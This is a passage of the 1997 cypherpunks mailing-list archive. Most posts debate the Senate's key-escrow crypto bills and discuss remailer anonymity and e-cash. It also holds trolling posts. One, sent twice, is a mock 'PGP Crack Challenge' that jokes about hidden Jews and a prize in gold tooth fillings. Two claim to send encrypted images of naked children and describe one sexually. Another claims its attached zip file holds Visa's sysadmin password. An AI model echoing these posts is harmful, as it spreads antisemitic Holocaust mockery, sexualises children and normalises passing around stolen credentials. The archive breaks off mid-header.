From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 20 Jun 1997 04:59:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Recipient Anonymity
In-Reply-To: <199706180825.BAA20903@myriad.alias.net>
Message-ID: <m0wenxZ-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



>Except for the additional server-to-server communications necessary to
>broadcast new messages into the system, the bandwidth utilization is
>comparable to sender-anonymous remailers; it scales linearly as the
>number of parties involved in the delivery of a particular message.

How are messages selected?  It seems that the recipient needs to know
the message IDs of all messages in the system, and must have a way to
identify his messages.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 20 Jun 1997 14:32:29 +0800
To: declan@well.com
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
Message-ID: <199706200615.XAA25232@f10.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain




----Original Message Follows----

In the end, it was child pornography that derailed
encryption legislation in the U.S. Senate and dealt a
bitter defeat to crypto supporters. Spurred by the
chairman's denunciations of cyberporn, a majority of
the Senate Commerce Committee rejected ProCODE II this
morning -- and instead approved a bill introduced
earlier this week that creates new Federal crimes for
some uses of crypto and an all-but-mandatory key
escrow infrastructure.

Sen. John McCain (R-Ariz.), committee chair and chief
sponsor of the measure, led the attack, saying
Congress must "stop child pornography on the Internet
and Internet gambling. These legitimate law
enforcement concerns cannot and should not be
overlooked or taken lightly."

He warned that allowing encryption to be exported
would permit child pornographers to use it. "If it's
being used for child pornography? Are we going to say
that's just fine? That's it's just business? I don't
think so."

Then Sen. Kay Bailey Hutchinson (R-Tex.) chimed in,
saying she doesn't want "children to have access to
pornography or other bad types of information."

Sen. John Ashcroft (R-MO) tried to disagree. "It's like
photography. We're not going to [ban] photography if
someone takes dirty pictures." (At this point, one of
the more deaf committee members asked, "Pornography?
Are we going to ban pornography?")

Between the child-porn attack team of senators McCain,
Hollings, Kerry, and Frist, ProCODE sponsor Sen. Sen.
Conrad Burns (R-Mont.) didn't stand a chance. Hunched
over the microphone, Burns was outmaneuvered,
outprepared, and outgunned on almost every point.

Nevertheless, he introduced ProCODE II -- a so-called
compromise measure -- and was defeated 8-12. The
changes from ProCODE I gave the NSA, FBI, and CIA
oversight over crypto exports and permitted only the
export of up to 56-bit crypto products without key
escrow. Products of any strength with key escrow could
be exported freely.

That's hardly a pro-privacy, pro-encryption bill, says
the ACLU's Don Haines. "The ProCODE vote shows the
political bankruptcy of the pro-business agenda. Even
in the Commerce Committee, commerce arguments didn't
work," he says.

The committee also approved amendments proposed by
Kerry that would give jurisdiction over crypto exports
to a nine-member "Encryption Export Advisory Board."
The panel would "evaluate whether [a] market exists
abroad" and make non-binding recommendations to the
president.

Frist also introduced amendments to the McCain-Kerrey
bill that were accepted:

* Requiring that not any Federally-funded
  communications network, but only ones established "for
  transaction of government business" would use key
  escrow -- thereby jumpstarting the domestic market.

* "Requirements for a subpoenas [sic] should be no
  less stringent for obtaining keys, then [sic] for any
  other subpoenaed materials."

* Key recovery can mean recovering only a portion of
 the key "such as all but 40 bits of the key."

* NIST after consulting with DoJ and DoD will "publish
  a reference implementation plan for key recovery
  systems;" the law will not take effect until the
  president tells Congress such a study is complete.

After the vote, advocacy groups tried to put a good
face on the devastating loss -- and an expensive
defeat it was. After 15 months of lobbying, countless
hearings, backroom dealmaking, and political capital
spent, ProCODE is gutted and dead. "There's another
day. We have confidence in the system," said BSA's
Robert Holleyman. CDT's Jerry Berman said, "What is
encouraging is that unlike the CDA other committees
are getting involved."

Of course, the involvement of other committees is only
likely to add more key escrow provisions and
limitations on crypto-exports. ProCODE's replacement
-- the McCain-Kerrey bill -- now goes to the Senate
Judiciary committee, and its chairman has already been
talking about mandating key escrow in some
circumstances...

-Declan

====================================================================

Maybe I'm just paranoid, but doesn't this mean that it is now illegal to 
use anything over 56 bits in the US, and doesn't this give the US 
Government the unofficial green light to start cracking down on those of 
us that use encryption? All they gotta say is that they suspected that 
we were dealing in child pornography, based on the fact that they 
monitored encrypted messages leaving from our addresses? It's not that 
far of a leap in possibilities after everything else they've done. This 
is starting to get scary ladies and gentleman. I use 2048 bit 
encryption, does that make me a porn lover because I use that heavy of 
encryption,and encryption period?  I feel some very bad days coming down 
the pike. I just hope that we can do something to stem the tide.



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 20 Jun 1997 14:54:01 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FYI: Who owns Sen. Kerrey (LONG)
Message-ID: <3.0.32.19691231160000.006daa00@best.com>
MIME-Version: 1.0
Content-Type: text/plain



yes, well McCain is pretty obvious - and Kerry is on the committee but so
what?
I was wondering what would motivate Kerrey-with-an-e and to whom he is
beholden.
Perhaps you could illuminate for us...

At 02:14 PM 6/19/97 -0400, you wrote:
>I suggest you wonder about McCain and Kerry-without-the-e.
>
>-Declan
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 15:13:42 +0800
To: "David Downey" <digital_matrix@hotmail.com>
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <199706200615.XAA25232@f10.hotmail.com>
Message-ID: <3.0.2.32.19970619235211.006df204@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:15 PM 6/19/97 PDT, David Downey wrote:
>Maybe I'm just paranoid, but doesn't this mean that it is now illegal to 
>use anything over 56 bits in the US, and doesn't this give the US 
>Government the unofficial green light to start cracking down on those of 
>us that use encryption? 

No.  It means that a couple of Senators don't like free speech and privacy,
and there have been Senators who disliked those before.
If the whole Senate passes the bill, and the House, and the President
signs it, then there'd be a law we'd have to fight in court,
depending on what it said by the time it was done.
But that's a long way off (probably.)  Of course, if the bill does
get through the House and Senate, Clinton's sure to sign it;
he's _not_ a liberal, just a big-spending Democrat, and seems to
consistently support anti-privacy decisions, and if there's enough
wind blowing in the direction to get the Congress to agree on it,
he'll be following it.

Meanwhile, the US Gov't can already start blaming crypto users for being
Commie-supporting money-laundering assassin-funding child pornographers,
if it thinks it's got a case.  Don't need any new laws for that,
though there aren't any solid court decisions on whether they can
force someone to reveal their passwords, and they risk being harassed about
false arrest and such if they maliciously accuse someone.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Fri, 20 Jun 1997 12:27:20 +0800
To: Charles Platt <declan@well.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <33A9D7F3.BACEB3DA@healey.com.au>
Message-ID: <Pine.SUN.3.91.970620000629.13057D-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Benjamin Grosman wrote:

> yet another example of those ill-educated in
> a particular matter succumbing to either a knee-jerk political reaction,

Agencies such as the FCC, FAA, and FDA were created to make policy
recommendations in technical areas were politicians aren't qualified. If
we're really going to have government stomping all over the Internet, it's
crazy that there isn't an appropriate agency to make appropriate policy
recommendations in this area, which is more technical and developing more
rapidly than fields such as aviation or food&drug, where senators and
congresspeople generally accept advice from presidential appointees who 
collaborate with industry.

I'm not saying I _want_ an agency making decisions for us; only that it 
would be slightly less hideously exasperating than our present situation, 
where technoliterates are being ruled by technoilliterates.

The FCC actually made some halfway decent decisions determining standards
in broadcasting, before the agency became terminally incestuous and
corrupt. We might get two or three good years out of a Federal Internet
Agency, depending who was appointed to run it. 

--CP





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 20 Jun 1997 16:15:41 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto Bill (fwd)
In-Reply-To: <Pine.GSO.3.95.970619215942.16667A-100000@well.com>
Message-ID: <3.0.2.32.19970620003622.0074dd54@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:59 PM 6/19/97 -0700, Declan McCullagh wrote:
>
>
>---------- Forwarded message ----------
>Date: Thu, 19 Jun 1997 19:17:35 -0400
>From: Jonah Seiger <jseiger@cdt.org>
>To: Declan McCullagh <declan@well.com>, sameer <sameer@c2.net>
>Cc: fight-censorship@vorlon.mit.edu
>Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key  Crypto
Bill
[...]
>But before we get all caught up in the old jihad between "the purists" and
>the "pragmatists", just think about this for a moment:  If we are going to
>have a prayer of getting out of this Congress without getting stuck with
>manditory key recovery, we have to at least recognize where we fit in to
>the overall equation and how the system actually works.

Where do people get the bizarre notion that we will get out of the crypto
issue without mandatory key recovery? You may be able to stall it for a
while, but there is no way it can be prevented.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 20 Jun 1997 16:07:41 +0800
To: cypherpunks@Algebra.COM
Subject: Cypherpunks write code
Message-ID: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



When I joined the Cypherpunks mailing list some years ago, few people even
considered a legislative fix to the crypto issue. After all, crypto-anarchy
is incompatible with the legislative process. Cypherpunks couldn't care
less what happens in DC. They are banning crypto? What else is new?

Cypherpunks know that governments do not like crypto. As crypto-anarchy
spreads, they will like it even less. The attempt to get governments to
sanction crypto is therefore futile. In the end, all non-GAK crypto will be
banned.

But who cares? Cypherpunks write code! We know that we need to get the
tools out. Deployment wins.

So let's not get hung up on the events in DC. Don't call your Senator.
Don't waste time reading "policy posts". Write code!

We have monumental tasks ahead of us. Anon remailers exist today. A way of
reliably receiving anon email will be deployed this year. Web anonymizers
that truly conceal your identity are in limited beta. Fully anonymous ecash
will be available soon. DC nets should be deployed early next year. [But
don't let this stop you from working  on DC nets. Modern designs only
double the message bandwidth. This is very reasonable. We need more
implementations].

There is much work still to be done. We need stego front ends for many of
these services. And credentials need to be implemened. A task that hasn't
even been touched yet.

Cypherpunks write code,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 19:12:58 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key    Crypto  Bill
Message-ID: <Pine.GSO.3.95.970620035637.25336B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 03:20:40 -0400
From: "Shabbir J. Safdar" <shabbir@vtw.org>
To: Jon Lebkowsky <jonl@onr.com>, "--Todd Lappin-->" <telstar@wired.com>,
    Jonah Seiger <jseiger@cdt.org>, Declan McCullagh <declan@well.com>,
    sameer <sameer@c2.net>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key    Crypto  Bill

A little more of polisci 101:

These 8 members of Congress didn't just vote in our favor here, they've
placed crypto on an agenda at a higher level than something else they
wanted to get through the committee.  Imagine being Sen. Burns, and knowing
that you have just placed your own agenda at risk in order to stand up for
crypto, knowing there's a non-neglible chance you might lose.

By sheer definition, you've placed crypto on your agenda higher than
something else.  Not only am I really damn happy to see this, but very
happy to know that 8 senators think so little of the key recovery that
they'd jeapordize their own agendas for it.

We owe them a great big debt of thanks, not the derision that goes with
Alice in Wonderland political punditry.

-S

At 8:40 PM -0500 6/19/97, Jon Lebkowsky wrote:
>At 06:09 PM 6/19/97 -0800, --Todd Lappin--> wrote:
>>At 3:17 PM -0800 6/19/97, Jonah Seiger wrote:
>>>
>>>But before we get all caught up in the old jihad between "the purists" and
>>>the "pragmatists", just think about this for a moment:  If we are going to
>>>have a prayer of getting out of this Congress without getting stuck with
>>>manditory key recovery, we have to at least recognize where we fit in to
>>>the overall equation and how the system actually works.
>>
>>
>>I'd agree with this.
>>
>>The reality is, we're in a bad, bad pickle right now.  We've gone from a
>>situation in which we're debating the finer points of a bill which probably
>>would have helped us *overall*, to trying to defend ourselves from a bill
>>that would make things far, far WORSE than they are right now.
>>
>>This is triage.
>>
>>S. 909 is the devil.
>
>Yeah, it's frustrating. One problem with the bill is that the average
>person, or legislator for that matter, who reads the bill might not
>understand why it's a problem.  Crypto should be better understood.  I
>mentioned an imperfect analogy to Jonah today, but I think it works to
>convey the problem: it's like saying you can't live here unless you give
>the police access to a key to your house.  And the immediate problems with
>that should be obvious: what if someone else gets access to the key where
>you've stored it for the cops?  And what if the cops become storm troopers?
> When more copies of your key exist beyond your control, however supposedly
>secure they may be, that security is weaker than it would be if you
>controlled all the keys yourself.
>
>Oh, well.
>
>What's next on the menu?
>
>
>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>Jon Lebkowsky     *     jonl@onr.com     *     www.well.com/~jonl
>President, EFF-Austin
>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 20 Jun 1997 10:27:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recipient Anonymity
In-Reply-To: <199706180825.BAA20903@myriad.alias.net>
Message-ID: <199706200219.EAA06517@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



ghio@temp0099.myriad.ml.org (Matthew Ghio) wrote:

> You could also use MD5 hashes of the messages, in which case a list of
> 1000 message-IDs would take only 16K.  (In the unlikely event of a hash
> collision you could download those two messages seperately.  Unless the
> number of messages was huge (millions), you could probably get away with
> using only a 32 or 64-bit hash function.)

Okay.  Let's suppose that there are 10,000 messages (more realistic for a
large remailer i think)  And I am going to spread it over five servers,
And I use a 32-bit hash function (one in four billion chance I get someone
else's message)

First I download the list of Message IDs/Hashes. (40,000 bytes)
Then I download the recipient list. (another 40,000 bytes)
I find a message for me.  Let's suppose the messages are 20K each.
I send each server a list of the messages I want (10,000 bits, which is
1,250 bytes each, so 6,250 bytes total)
Finally, I get back five 20K messages from each of the five servers.

So that's a total of 80K to download the IDs/recipients lists, 6.25K to
upload the requests, and 100K to download the message pieces, to read my
20K email.  I guess that could work.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C.J. Parker <cjp@dev.null>"@wombat.sk.sympatico.ca
Date: Fri, 20 Jun 1997 18:45:26 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706201028.EAA20037@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



 Pearl Harbor Computers has announced the "PGP Crack Challenge" with
a prize of $10,000.00 for the first person to decrypt a PGP cyphertext
file which reveals the location of the Jews being hidden by anarchistic
CypherPunks.

  Despite the best efforts of the U.S. legislative bodies and secret
government comittees, the danger remains that outlaw cryptographers
will be able to illegally avoid future Government Access to Keys
legislation and prevent law enforcement agencies from being able to
read their communications through use of strong, non-GAKed crypto.
  Imagine the burden that would have resulted if strong crypto had
prevented the German Gestapo from accessing information needed to
meet the legitimate needs of law enforcement during World War II.

  Pearl Harbor Computers will post a file called "hidejews.asc" to
the CypherPunks list in the near future. It will use 2048 bit PGP 5.0
encryption signed with Pearl Harbor Computers secret key.
  In order to win, whoever decrypts the message must post their results
to the cypherpunks list, signed by their secret key.
  The $10,000.00 prize will be paid in the equivalent of removed gold
tooth-fillings held in escrow in safety deposit boxes in a secure Swiss
bank.

C.J. Parker,
President,
Pearl Harbor Computers
"We've been bombed since 1941"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C.J. Parker <cjp@dev.null>"@wombat.sk.sympatico.ca
Date: Fri, 20 Jun 1997 18:44:55 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706201028.EAA20039@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



 Pearl Harbor Computers has announced the "PGP Crack Challenge" with
a prize of $10,000.00 for the first person to decrypt a PGP cyphertext
file which reveals the location of the Jews being hidden by anarchistic
CypherPunks.

  Despite the best efforts of the U.S. legislative bodies and secret
government comittees, the danger remains that outlaw cryptographers
will be able to illegally avoid future Government Access to Keys
legislation and prevent law enforcement agencies from being able to
read their communications through use of strong, non-GAKed crypto.
  Imagine the burden that would have resulted if strong crypto had
prevented the German Gestapo from accessing information needed to
meet the legitimate needs of law enforcement during World War II.

  Pearl Harbor Computers will post a file called "hidejews.asc" to
the CypherPunks list in the near future. It will use 2048 bit PGP 5.0
encryption signed with Pearl Harbor Computers secret key.
  In order to win, whoever decrypts the message must post their results
to the cypherpunks list, signed by their secret key.
  The $10,000.00 prize will be paid in the equivalent of removed gold
tooth-fillings held in escrow in safety deposit boxes in a secure Swiss
bank.

C.J. Parker,
President,
Pearl Harbor Computers
"We've been bombed since 1941"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 20 Jun 1997 07:20:23 +0800
Subject: Re: E-Cash
In-Reply-To: <Pine.A41.3.95.970619094414.106054Y-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <Pine.LNX.3.93.970620045928.103C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Graham-John Bullers wrote:

> On Thu, 19 Jun 1997, Huge Cajones Remailer wrote:
> 
> I think Vulis needs each of us to send ten copies of this back to him.

You of cause have proof that it is Vulis don't you.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 20 Jun 1997 07:40:57 +0800
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <Pine.LNX.3.93.970620052141.103G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Declan McCullagh wrote:

[...]

> * Requiring that not any Federally-funded
>   communications network, but only ones established "for
>   transaction of government business" would use key
>   escrow -- thereby jumpstarting the domestic market.

Would this include militry networks?  I'm shaw the militry securaty
experts are going to be very happy about being required to eskow there
keys.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Fuck Jesus"<fj@dev.null>
Date: Fri, 20 Jun 1997 20:49:25 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706201219.GAA23393@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



  In celebration of the DES Challenge success, I am sending out copies
of a 1983 Time-Life picture of a naked boy and girl playing in a risque
position that indicates the boy could have his penis inserted in the
girl's rear.
  In celebration of the crack of weak financial cryptography that
leaves businesses vulnerable because of the U.S.'s ignorant and fascist
crypto policy, I am encrypting the file using a 4096-bit key produced
with an encryption package I downloaded off of a European ftp site.

  So, while some thief is using a computer to steal your life savings,
I will be sitting back drinking champagne and enjoying pictures of
naked children that Time-Life profited from by selling them to middle
class Americans in the 80's.
  I am sorry that I feel the need to encrypt the picture with strong
cryptography acquired from a foreign source, but I am just a normal
citizen and not a major corporation, so I would go to jail for sharing
this with you even though I am not profiting from it as they did.


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-----END PGP MESSAGE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 20 Jun 1997 21:33:01 +0800
To: vorlon.mit.edu.shabbir@vtw.org
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <199706201325.GAA17048@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh:
> From: "Shabbir J. Safdar" <shabbir@vtw.org>

> Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key    Crypto  B
ill
>
> A little more of polisci 101:
>
> These 8 members of Congress didn't just vote in our favor here, they've
> placed crypto on an agenda at a higher level than something else they
> wanted to get through the committee.  Imagine being Sen. Burns, and knowing
> that you have just placed your own agenda at risk in order to stand up for
> crypto, knowing there's a non-neglible chance you might lose.
>
> By sheer definition, you've placed crypto on your agenda higher than
> something else.  Not only am I really damn happy to see this, but very
> happy to know that 8 senators think so little of the key recovery that
> they'd jeapordize their own agendas for it.
>
> We owe them a great big debt of thanks, not the derision that goes with
> Alice in Wonderland political punditry.

Imagine!

Shabbir's obvious amazement that a senator would put support of our
Constitutional rights above his own "agenda" is very telling.  Like
most of those senators, he's been in Washington too long.

It seems not to occur to those in D.C. that the very idea of congress
deigning to tell us how we can communicate with each other is utterly
offensive.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 20 Jun 1997 20:12:14 +0800
To: Lucky Green <cypherpunks@Algebra.COM
Subject: Re: Party on IRC
In-Reply-To: <3.0.2.32.19970619200316.00710650@netcom9.netcom.com>
Message-ID: <v0302093bafd0130a7fac@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:03 pm -0400 on 6/19/97, Lucky Green wrote:


> Much happened this week. If you feel like a conversation, join me on
> #cypherpunks on EFnet.

Hey, folks,

Is there an encrypted IRC available?

If not, shouldn't there be?

Is such a thing even possible?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FuckClinton<fc@dev.null>
Date: Fri, 20 Jun 1997 21:35:41 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706201314.HAA26109@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



  I have sent along a nice picture of a naked family that comes from a
nudist magazine. Unfortunately, one of the family members is a young
child.
  Since, if viewed by a person who is not capable of controlling their
carnal sexual impulses (President Clinton, for example), it might be
considered to be a vile, filthy example of child pornography instead of
a pleasant portrait of a family comfortable with their nudity, I have
encrypted it with 3072-bit strong encryption with a program obtained
from a source outside of the United States.
  If it were not for the distinct possibility of the photograph giving
President Clinton and Newt Gingrich a hard-on then I might feel more
comfortable using weaker, 'government approved for export' encryption
such as is used to safeguard billions of dollars in the financial
community.

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=12UE
-----END PGP MESSAGE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 20 Jun 1997 21:19:14 +0800
To: cypherpunks@toad.com
Subject: Re: Cypherpunks write code
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: <PViL9D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:

> When I joined the Cypherpunks mailing list some years ago, few people even
> considered a legislative fix to the crypto issue. After all, crypto-anarchy
> is incompatible with the legislative process. Cypherpunks couldn't care
> less what happens in DC. They are banning crypto? What else is new?
>
> Cypherpunks know that governments do not like crypto. As crypto-anarchy
> spreads, they will like it even less. The attempt to get governments to
> sanction crypto is therefore futile. In the end, all non-GAK crypto will be
> banned.
>
> But who cares? Cypherpunks write code! We know that we need to get the
> tools out. Deployment wins.
>
> So let's not get hung up on the events in DC. Don't call your Senator.
> Don't waste time reading "policy posts". Write code!
>
> We have monumental tasks ahead of us. Anon remailers exist today. A way of
> reliably receiving anon email will be deployed this year. Web anonymizers
> that truly conceal your identity are in limited beta. Fully anonymous ecash
> will be available soon. DC nets should be deployed early next year. [But
> don't let this stop you from working  on DC nets. Modern designs only
> double the message bandwidth. This is very reasonable. We need more
> implementations].
>
> There is much work still to be done. We need stego front ends for many of
> these services. And credentials need to be implemened. A task that hasn't
> even been touched yet.

I've been discussing off-line what I consider a good programming project
that would encourage the use of digital signatures and make Usenet more
usable than it is now.  If anyone wants to donate your time coding,
please let me know and I'll tell you what it's about. It's cool.

(If and when I find the time to write code for free, it'll be the spambot :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arunas Norvaisa <arunas@post1.com>
Date: Fri, 20 Jun 1997 17:24:46 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: new money systems
In-Reply-To: <199706200103.SAA06874@netcom11.netcom.com>
Message-ID: <3.0.2.32.19970620080724.006968b4@post1.com>
MIME-Version: 1.0
Content-Type: text/plain



On 06:03 PM 97.06.19 -0700, Vladimir Z. Nuri wrote (and I quoted):

>in this country, our money supply is controlled by the federal
>reserve

 In _WHAT_ country ?????? Some of you, Americans, simply forget
there's OTHER countries in the world and I start to suspect that
some of you don't KNOW there's other ones except of your beloved
stars and stripes.


--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
<mailto:arunas@post1.com> with subject: 'send key' to get PGP key
PGP for idiots page <http://www.a-vip.com/an>
  and a mirror site <http://www.post1.com/~arunas>
Long computations that yield zero are probably all for naught.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Fri, 20 Jun 1997 20:26:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: War has been Declared
In-Reply-To: <v03102808afcfb94db900@[207.167.93.63]>
Message-ID: <Pine.LNX.3.94.970620081721.1307A-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Tim May declared:

> We have to discard concern for "politics" and refocus our efforts on our
> original strength: monkeywrenching the system with technology.

Date: Sat, 14 Jun 1997 13:45:54 +0200
From: Rinaldo RASA <rasa@GPNET.IT>
Reply-To: Bohemian  The Mailing List of the Bohemian Ink
Subject: John Cage on Anarchism.

"We don't need government
We need utilities.

Air, water, energy
Travel and communication means
Food and shelter.

We have no need for imaginary mountain ranges
Between separate nations.

We can make tunnels through the real ones.

Nor do we have any need for the continuing division of people
Into those who have what they need
And those who don't.

Both Fuller and Marshal McLuhan
Knew, furthermore
That work is now obsolete.
We have invented machines to do it for us.

Now that we have no need to do anything
What shall we do?

Looking at Fuller's geodesic world map
We see that the Earth is a single island, Oahu.
We must give all the people all they need to live
In any way they wish.

Our present laws protect the rich from the poor.

If there are to be laws, we need ones that
Begin with the acceptance of poverty as a way of life.

We must make the world safe for poverty
Without dependence on government."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FearMonger <fm@dev.null>
Date: Fri, 20 Jun 1997 23:26:24 +0800
To: cypherpunks@toad.com
Subject: Encryption Test
Message-ID: <33AA9441.5C59@dev.null>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3963.1071713709.multipart/mixed"

--Boundary..3963.1071713709.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

I have attached a file that contains the sysadmin password for the
main computer at Visa's head office. In order to prevent the information
being abused, I have encrypted it with Pkzip so as not to have to fear
running afoul of vague and indeterminate crypto legislation.
  I am doing this in the hope that by showing my willingness to support
the government promotion of weak encryption I will thus be trusted with
even more highly sensitive information in the future.
  I also used a short and easily-guessed password to show my support
for government access to keys in the hope that it will lead to wider
recognition of my value as a team player in government projects.

  If I am ever in a position to be hired for a job that involves access
to the secret codes for launching nuclear missles, I hope that I can
count on letters of reference from cypherpunks list members declaring
my suitability for working in an area that requires one to show proper
fear of and submission to authority.

FearMonger


--Boundary..3963.1071713709.multipart/mixed
Content-Type: application/octet-stream; name="zip00000.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="zip00000.zip"
Content-Description: "Visa.zip"

UEsDBAoAAQAAAAk81CK/898cKAAAABwAAAAIAAAAVklTQS5UWFQpcY1otXlT
ozNlkBz4uyiwVlxe1xahTGOf/Rf2adZ801Fd3ciEOf32UEsBAhQAFAABAAAA
CTzUIr/z3xwoAAAAHAAAAAgAAAAAAAAAAQAgAAAAAAAAAFZJU0EuVFhUUEsF
BgAAAAABAAEANgAAAE4AAAAAAA==
--Boundary..3963.1071713709.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Sat, 21 Jun 1997 00:49:11 +0800
To: cypherpunks@Algebra.COM
